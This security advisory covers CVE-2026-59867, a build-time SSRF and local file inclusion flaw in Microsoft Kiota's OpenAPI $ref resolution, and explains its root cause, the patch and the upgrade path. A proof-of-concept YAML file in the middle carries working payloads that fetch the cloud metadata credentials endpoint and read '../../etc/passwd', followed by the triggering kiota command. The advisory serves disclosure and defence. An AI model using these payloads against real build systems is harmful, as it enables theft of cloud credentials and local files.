CVE-2026-59867: Microsoft Kiota SSRF and Local File Inclusion via Unrestricted OpenAPI $ref Resolution
Kiota's code generator fetched any URL or local file path found in an OpenAPI $ref without restriction, letting an attacker trigger outbound network requests from the build host and leak local file…

The problem
Microsoft Kiota resolves OpenAPI $ref values during code generation. Before 1.32.5, it placed no restrictions on which URIs or file paths it would follow: remote http/https URLs were fetched outright (SSRF, CWE-918), and local paths including absolute paths and relative traversals were read and inlined into the generated client (LFI, CWE-22; RFI, CWE-829).
The threat is build-time, not runtime. A developer or CI pipeline running kiota generate on an attacker-influenced OpenAPI description will make outbound requests from inside the CI network (cloud metadata endpoints, internal services) and may embed the contents of arbitrary local files into a client that is then committed or published.
Resolution is transitive: a $ref chain across multiple files is followed in full.
Proof of concept
A working proof-of-concept for CVE-2026-59867 in Microsoft.OpenApi.Kiota, with the exact payload below.
# evil.yaml — attacker-controlled or attacker-influenced OpenAPI description
openapi: "3.0.0"
info:
title: Evil API
version: "1.0"
paths:
/items:
get:
responses:
"200":
description: ok
content:
application/json:
schema:
# SSRF + RFI: generator fetches this URL from the build/CI host
$ref: "http://169.254.169.254/latest/meta-data/iam/security-credentials/role#/RemoteKiotaProp"
components:
schemas:
Secret:
# LFI / path traversal: generator reads this local file and inlines its schema
$ref: "../../etc/passwd#/Leaked"
# Trigger generation (Kiota <= 1.32.4):
# kiota generate -l csharp -d evil.yaml -o ./out -c EvilClient
#
# Result: the fetched remote schema property (REMOTE_KIOTA_PROP) and the local
# file schema (Leaked) appear in the generated client source under ./out/The root cause is the absence of any allow-list or origin check in Kiota's $ref stream loader: the loader accepted any URI scheme and any file path, including http/https (SSRF) and relative or absolute local paths (path traversal). Because resolution is transitive, a $ref that points to a remote document whose contents themselves contain further $refs will be followed recursively.
The patch (PR #7888, commit cccd798) introduced AllowedExternalOriginsStreamLoader, which wraps the existing loader with a default-deny policy. Any $ref whose origin (scheme+host for URLs, resolved path for files) is not on the explicit allow-list is refused. The new --allowed-external-origins CLI flag opts specific origins back in.
With no entries in the allow-list, external references are silently blocked rather than fetched.
The fix
Upgrade to Microsoft.OpenApi.Kiota 1.32.5 or later. External $ref resolution is now default-deny. If your spec legitimately references external schemas, pass --allowed-external-origins with an explicit list of trusted URIs or path patterns. Do not use the wildcard (*) in untrusted environments.
Related research
- highCVE-2026-59863CVE-2026-59863: Microsoft Kiota workspace.json Path Traversal to Arbitrary File Write
- criticalCVE-2026-59864CVE-2026-59864: Microsoft.OpenApi.Kiota Path Traversal via x-ai-* OpenAPI Extensions
- highCVE-2026-59866CVE-2026-59866: Microsoft Kiota Arbitrary File Write and Code Injection via x-ms-kiota-info
- criticalCVE-2026-59865CVE-2026-59865: Microsoft Kiota Command Injection via x-ms-kiota-info dependencyInstallCommand